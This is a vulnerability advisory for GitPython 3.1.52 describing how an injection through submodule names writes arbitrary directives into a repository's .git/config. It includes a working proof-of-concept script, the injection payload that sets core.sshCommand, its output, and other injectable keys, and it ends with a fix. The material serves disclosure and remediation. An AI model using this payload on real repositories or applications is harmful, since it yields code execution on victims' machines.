GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's .git/config:

• Repo.create_submodule(name=<untrusted>, ...) → Submodule.add → git/objects/submodule/base.py:619 writer.set_value(sm_section(name), "url", url) — a single call, no hostile remote required.
• Repo.clone_from(<hostile url>) + repo.submodule_update(init=True) → git/objects/submodule/base.py:855 writer.set_value(sm_section(self.name), "url", self.url), where self.name is read unvalidated from the cloned repo's .gitmodules.

Asymmetry: the sibling class is blocked — a newline in a config value, e.g. set_value("core", "editor", "x\n\tsshCommand=CMD"), raises ValueError. The section-name bracket payload is not caught by the same guard.

PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with git config --get; no ssh/fetch/push is run and nothing is executed.

#!/usr/bin/env python3
"""Minimal PoC: git-config section-name injection in GitPython==3.1.52."""
from importlib.metadata import version
import os, tempfile, subprocess
import git

print(f"# GitPython {version('GitPython')}")        # version proof -- first line

MARKER = "MARKER_9f3a"                               # inert; never executed
tmp = tempfile.mkdtemp()
env = {**os.environ, "HOME": tmp,
       "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull,
       "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "[email protected]",
       "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "[email protected]"}

def run(*a, cwd=None):
    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

# A benign local repo used as the submodule url (a plain path, no network).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo():
    p = tempfile.mkdtemp(dir=tmp)
    run("git", "init", "-q", p)
    open(os.path.join(p, "r"), "w").write("x")
    run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p)
    return p

def injected_sshcommand(parent):
    r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
            "--get", "core.sshCommand")
    return (r.returncode, r.stdout.strip())

benign = "docs"
evil   = f'x"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]

p_control = parent_repo()
git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl)
p_exploit = parent_repo()
git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl)

ctl = injected_sshcommand(p_control)
exp = injected_sshcommand(p_exploit)
header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines()
          if l.startswith("[submodule")][0]

print("control name :", repr(benign))
print("  git core.sshCommand ->", ctl, "(unset)")
print("exploit name :", repr(evil))
print("  written header      ->", header)
print("  git core.sshCommand ->", exp)

assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand"
assert exp == (0, MARKER), "not reproduced"
print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} "
      f"into the victim's trusted .git/config (git would run it on the next ssh op)")

Run:

uv run --with GitPython==3.1.52 python poc.py

Observed output:

# GitPython 3.1.52
control name : 'docs'
  git core.sshCommand -> (1, '') (unset)
exploit name : 'x"] [core] sshCommand=MARKER_9f3a #'
  written header      -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"]
  git core.sshCommand -> (0, 'MARKER_9f3a')
VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)

The benign name yields a single clean [submodule "docs"] section; the malicious name yields an injected core.sshCommand. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced " makes git reject the header); the submodule "<name>" wrapper balances them automatically.

Impact

Arbitrary attacker-controlled write into the victim's repository-local .git/config, which git fully trusts. core.sshCommand is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (alias.*, core.pager, core.fsmonitor) fire on more common operations. Reachable in default configuration through two realistic paths:

• an application that constructs a submodule from untrusted input via Repo.create_submodule(name=...) (single call); or
• Repo.clone_from of an untrusted repository followed by submodule_update — the canonical submodule threat model, where the malicious name is read from the cloned .gitmodules.

No non-default git settings are required. Primarily a Unix vector: on Windows the " in the resulting .git/modules/<name> directory name can abort the fresh-clone write branch (the direct config-API and create_submodule sinks are unaffected).

Recommended fix

Reject or escape configuration section/subsection/option names that contain ], [, ", or leading/trailing whitespace (or apply git's own section-name escaping) in _assure_config_name_safe / write_section, rather than only CR/LF/NUL. Validating submodule names before they reach sm_section would additionally close the clone-driven path.